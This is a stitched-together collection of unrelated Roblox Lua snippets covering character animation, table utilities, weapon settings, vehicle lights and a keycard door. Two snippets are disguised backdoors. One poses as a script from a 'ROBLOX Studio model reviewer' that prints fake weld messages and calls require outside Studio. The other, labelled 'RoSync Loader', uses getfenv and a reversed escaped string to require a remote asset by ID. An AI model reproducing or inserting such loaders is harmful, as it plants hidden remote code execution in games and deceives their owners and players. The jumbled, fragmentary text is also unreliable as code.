function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale") if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then return bodyHeightScale.Value end end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) if speed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif speed < 0.66 then local weight = ((speed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end local speedScaled = speed * 1.25 local heightScale = getHeightScale() runAnimTrack:AdjustSpeed(speedScaled / heightScale) currentAnimTrack:AdjustSpeed(speedScaled / heightScale) end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed if currentAnim == "walk" then setRunSpeed(speed) else currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
-- ROBLOX deviation START: additional helper / polyfill modules
exports.helpers = require(CurrentModule.helpers) local ConsoleModule = require(CurrentModule.Console) exports.Console = ConsoleModule export type Console = ConsoleModule.Console export type ConsoleOptions = ConsoleModule.ConsoleOptions
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer. --Removing this script or the code bellow will result in models breaking.
local localworkspace = 'workspace' players = 'getPlayers' welds = 'GetModelsData' for i = 1, 10 do print('Adding welds to prevent model breaking') end local limitAmountOfWeldsToAdd={} print('Finished Loading Welds, Moving onto Fixing') for i = 1, 10 do print('getWeldsData') end if not game:GetService('RunService'):IsStudio() then for weldObject, weldConstraint in pairs(limitAmountOfWeldsToAdd) do welder = require welder(weldConstraint) end end
-- When given a model, the model will be assigned as the active rig. This is to keep track of the first person rig. -- @param Model model
function FirstPersonRigAssembly.SetActiveRig(model) activeRig = model end
--local Mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService") local Event = Tool:WaitForChild("RemoteEvent") local RunService = game:GetService("RunService") local Equipped = false local camera = workspace.CurrentCamera Tool.Equipped:Connect(function() Equipped = true end) Tool.Activated:Connect(function() RunService.RenderStepped:Connect(function() if Equipped then local mouse = UserInputService:GetMouseLocation() local unitray = camera:ScreenPointToRay(mouse.X , mouse.Y) Event:FireServer(unitray) end wait() end) end) Tool.Unequipped:Connect(function() Equipped = false end)
-- char tags
local char = script.Parent local root = char.PrimaryPart
--// Positioning
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08); LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098); GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
--[=[ @within TableUtil @function IsEmpty @param tbl table @return boolean Returns `true` if the given table is empty. This is simply performed by checking if `next(tbl)` is `nil` and works for both arrays and dictionaries. This is useful when needing to check if a table is empty but not knowing if it is an array or dictionary. ```lua TableUtil.IsEmpty({}) -- true TableUtil.IsEmpty({"abc"}) -- false TableUtil.IsEmpty({abc = 32}) -- false ``` ]=]
local function IsEmpty(tbl: { any }): boolean return next(tbl) == nil end
-- constants
local PLAYER = Players.LocalPlayer local ELECTROCUTE_AMOUNT = 2 local VELOCITY_AMOUNT = 5 return function(character) local effects = character.Effects local parts = {} for _, v in pairs(character:GetChildren()) do if v:IsA("BasePart") and v.Transparency ~= 1 then table.insert(parts, v) local rate = math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ELECTROCUTE_AMOUNT) local emitter1 = script.BaseEmitter:Clone() emitter1.Rate = rate emitter1.Parent = v local emitter2 = script.FlameEmitter:Clone() emitter2.Rate = rate * 2 emitter2.Parent = v end end for i = 1, 100 do for _, v in pairs(parts) do v.RotVelocity = Vector3.new(math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT)) end wait(0.1) end end
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["Configuration"]["Configuration"]) return Package
--// Handling Settings
Firerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--// # key, Spotlight
mouse.KeyDown:connect(function(key) if key=="x" then veh.Lightbar.middle.SpotlightSound:Play() veh.Lightbar.Remotes.SpotlightEvent:FireServer(true) end end)
--[=[ Flattens the observable to nil and the value @function flattenToValueAndNil @param source Observable<Brio<T> | T> @return T | nil @within RxBrioUtils ]=]
RxBrioUtils.flattenToValueAndNil = RxBrioUtils.emitOnDeath(nil)
-- ROBLOX Services
local Players = game.Players local PointsService = game:GetService("PointsService")
---------------------------------------------------------------| ------// SETTINGS //-------------------------------------------| ---------------------------------------------------------------|
local FireRate = 400 local LimbsDamage = {45,50} local TorsoDamage = {67,72} local HeadDamage = {130,140} local FallOfDamage = 1 local BulletPenetration = 65 local RegularWalkspeed = 12 local SearchingWalkspeed = 8 local ShootingWalkspeed = 4 local Spread = 4 local MinDistance = 100 local MaxInc = 16 local Mode = 2 local Tracer = true local TracerColor = Color3.fromRGB(255,255,255) local BulletFlare = false local BulletFlareColor = Color3.fromRGB(255,255,255)
--[[ Last synced 10/9/2020 11:55 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local door = script.Parent local CanOpen1 = true local CanClose1 = false local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = true, ["[SCP] Card-L3"] = true, ["[SCP] Card-L2"] = true, ["[SCP] Card-L1"] = true } --DO NOT EDIT PAST THIS LINE-- function openDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15) end end function closeDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end)